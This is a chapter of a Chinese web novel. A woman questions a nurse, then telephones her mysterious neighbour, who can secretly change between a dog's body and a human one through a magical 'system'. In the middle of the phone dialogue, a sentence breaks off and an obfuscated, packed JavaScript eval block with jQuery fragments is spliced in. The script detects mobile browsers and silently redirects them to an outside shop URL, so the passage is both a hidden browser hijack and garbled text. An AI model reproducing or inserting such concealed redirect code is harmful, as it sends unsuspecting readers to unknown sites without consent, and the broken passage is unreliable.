事情本就因为这个男人的出现奇怪了起来。
现在护士的这一番话,更是将事情推入了另一个诡异的高度。
她有男朋友这件事,她本人都不知情,她们究竟在保密什么?
更何况,一个陌生人都能随意进出病房,她真的能相信她们所说的保密吗?
可她此时只想着快点确认答案,一时竟忘记否认这段莫名的关系。
“你说的是他吗?”林昭韫将视频中的男人的画面放大,把笔记本电脑朝护士所在的方向轻轻推去。
男人的外貌太过出挑,护士几乎不用思考,仅仅只看了一眼就点了点头,“没错,就是他,我们同事还看到他给你用棉签润嘴唇呢,虽然你根本不需要。”
“……好的,谢谢。”
简单聊了下后,林昭韫发现再问不出新的信息,便让她离开了。
护士一走,房间瞬间陷入一片死寂。
她忙着思考这位从未谋面的邻居是如何得知她受伤的消息,而在她看不到的地方,祁佑好不容易平复的情绪因她这一发现再度翻涌,在他心里掀起了惊涛骇浪。
看着女孩一副若有所思的模样,他有些不好的预感。
只见林昭韫下意识将被子往上扯了扯,盖住了她暴露在空气中的皮肤。
她被自己唐突且无边界感的行为吓到了。
自己现在在她那里的印象估计已经从隔壁邻居变成登徒子。祁佑懊恼地想到。
可是为什么她刚刚不否认关于“男朋友”的谣言呢?
他不相信旁人,“保密”换句话无非就是小范围传播,难免不会被有心之人利用。
最近他几乎无法控制自己乱飘的思绪,就像现在这样。
刚刚,他甚至在想,会不会还有另一种不切实际的可能。
勉强平复了下心情,祁佑才又强迫自己把注意力转到眼下这个棘手的问题上。
现在她的助理已经开始联系物业,相信用不了多久物业就会和他取得联系。
可他现在的模样别说处理这事,物业想联系上他恐怕都是个问题。
医院病房的玻璃被保洁员擦得很干净,祁佑甚至能从中看到自己此刻的倒影。
看着玻璃上小狗模样的自己,他突然心生一计
——狗确实不行,但是如果变成人呢?
“系统。在吗?”
“怎么了?”
“现在我有个办法解决这个问题,但是需要你协助。别忘记,我是因为什么才暴露的。”
“你说。”
“我需要你再次化成小狼,我要回别墅一趟。”
“……可以。你要恢复多久。”
“四个小时,300幸福值。”
“不行!”
“监控。”
“……成交。”
出乎意料的,系统这次竟然没有像上次那样抗拒变身成为小狼。
可能是一回生二回熟吧。
说到底,如果不是系统失察,祁佑本不至于一而再再而三地陷入身份暴露的危险中,所以他刚好利用这点,和系统进行了谈判。
不过,他似乎从脑海里的机械音听出了一丝咬牙切齿的味道。
至于幸福值,他似乎有许久没有听到系统的播报了。
难道她最近都没有遇到能让她开心的事情吗?
“系统已升级,现100点以下的幸福值皆不通报,宿主可自行查询。”
系统的声音适时在脑海中浮现,替他解答了这个问题。
这样也好,那一两点加起来实在折磨人,他的目标数值可是整整10000点。
所以她进文华这件事一定要办得漂亮,除了方晏淮和他的心腹,其他人都不该知道他在这件事里起到的作用。
她本身就因为许凌松对这些“潜规则”有所防范。
如果让她知道自己的存在,按照她的性子,肯定免不了起疑,到时候不仅幸福值不高,她在文华待着也不舒服,得不偿失。
不过,她也不需要知道,林昭韫只是缺了个机会,自己不过是顺水推舟。
他也不想之后两人认识后,她将自己放在和方晏淮一样的位置上。
他想和她携手,而不是被她恭畏。
更何况,这件事情最初的目的,就是他为了幸福值,利用了她,所以他心里始终愧疚着。
想清了这些,祁佑缓缓起身,趁着女孩不注意,和系统交换了身体。
变成人,除了解决问题,他确实还存了些私心。
他本可以在楼下咖啡厅等待着物业的电话,可鬼使神差的,他还是打了个车,回到了别墅。
他不想以现在这副不修边幅的模样去见她。
原本他就因为监控和病房这两件事在她心里留下了不好的印象,他不愿意让事情变得更糟。
又或者说,他不希望自己在她眼中是无礼的,也不希望她对自己是心存嫌隙的。
他清楚自己变了。
变得小心翼翼,变得患得患失,情绪也变得不受控制。
可这一切又都是经他自己默许的。
淋浴间的雾气不断向上蔓延,男人高挺的鼻梁不可避免地沾染了一丝水汽,水珠在他鼻尖汇聚,随后在他紧实有力的腹肌上绽放。
他的手掌布满微凸的青筋,祁佑抬手,擦去了浴室氤氲的雾气,镜子里出现了他那双标志性的、浅蓝色的眼睛。
像脆弱的猎物,也像示弱的猎手。
水流潺潺,直至绵密的泡沫消失殆尽。
他刚擦干头发,一旁的手机铃声便响了起来。
“喂,你好。”许是因为热气,他的嗓子透着股无端的性感和低哑,如海底的美人鱼,摄魂又缠绵。
听到他的声音,林昭韫停顿片刻,稳了稳心神,继续开口说道:“您好,我是住在您隔壁的林昭韫。”
她拿到祁佑的电话已经有一会,可她一直不敢拨通。
一方面是担心对方耍无赖,不肯承认;另一方面也担心自己态度过于强硬,万一误解了对方,自己没有回旋的余地。
可接下来对方的坦然,远远超出她的预期。
“嗯。您好,我是祁佑。”
“祁先生您好,我打电话过来是想问你几个问题,希望不会打扰到您。”
“不会。不过你的伤好点了吗?”
他竟毫不避讳自己做的事情。
这一刻,她刚刚准备的那些问题都没了用处,她只能按照自己心里的想法回答道:“好多了,谢谢祁先生的关心。”
“不客气,应该的。不过,似乎我每次见到林昭韫小姐,你都在受伤。”
他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648225|206458||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的发音有些奇怪,将“林”咬得极轻,“昭韫”二字倒是读得很重。
手机的听筒本身就吞音,如果不是她听得仔细,险些要听岔了去。
不知道还以为他呢喃着“昭韫”呢。
原本是她打电话过去想要兴师问罪,结果被他这么一问,自己倒显得被动了。
“这也是我想问您的。前些日子我昏倒,还得谢谢您将我扶进了卧室。”
他进卧室的时间不长,加上客厅卧室监控是一体的,他做了什么自己一清二楚,所以她倒不担心他做了什么不轨之事。
她刻意避开了他翻墙的事实,是想听听,那监控之外她未曾看到的画面,以及他又是如何陈述那天事情的经过的。
可电话那头不仅没有明显的停顿,连呼吸声都十分正常,仿佛真的只是他随手做的一件好事。
“抱歉。贸然闯入林小姐家实属下策,请见谅。没打招呼先走也是因为想着多一事不如少一事。”
他听出了她话里的指责,可他顺从的态度让林昭韫一时竟不知道如何回答。
对面见她半天没回复,又再次开口解释道:“如果给您造成困扰了我很抱歉,您找到物业的电话是为了查这件事吗?是家里丢东西了?”
“是的。不过家里没丢东西,但下次还希望祁先生从正门离开。除此之外,我确实还有一件事,您昨天有没有来过市中心医院?”
真是小狐狸。祁佑心想。
如果他说自己没去,她手上可有他进病房的证据。
“去过。去见一个长辈,结果误打误撞找错了病房,里面的人变成林小姐。我起初还以为是我长辈换了病房。”
听到祁佑坦然的回答,林昭韫不由得开始否定自己的怀疑。
可是,如果他真的只是走错,那为什么还要多此一举用棉签将她的嘴唇打湿呢?
但这话又要她如何开口。
似乎不管怎么说,都透着一股似有若无的尴尬和暧昧……
“你看到是我后就离开了吗?”
“没有,我在你旁边坐了会。”
“为什么?你还做了什么?”
“给你润唇?我家长辈常年卧床,所以我们这些小辈能做的也只有这些。抱歉,你这么一说,我才反应过来,是我逾越了……这一通电话,似乎说了太多对不起了。”
“……没关系。”
原来是这样。
那这一切都说得通了。
只是她心里还是有些奇怪,但是又说不上来。
像是生物的本能。
林昭韫感受到了莫名的危险,仿佛某种大型掠食动物到来前,小型食肉动物为了存活,残留的逃亡本能。
眼见问题被解决,两人之间也没有再沟通的必要,她下意识想要挂断电话。
刚想和对方道别,却被他提前喊了自己的名字——
“林小姐。”
“嗯?”
“我等等还要去医院一趟,如果您方便的话……”
虽然他的话没说完,可林昭韫还是听懂了。
他想当面解释。
正好,她也想知道,她潜意识的逃避,是不是与他有关。
而且,他的说辞真叫人起疑,看似完美,实则经不起推敲。
“祁先生有空吗?我们见一面吧。”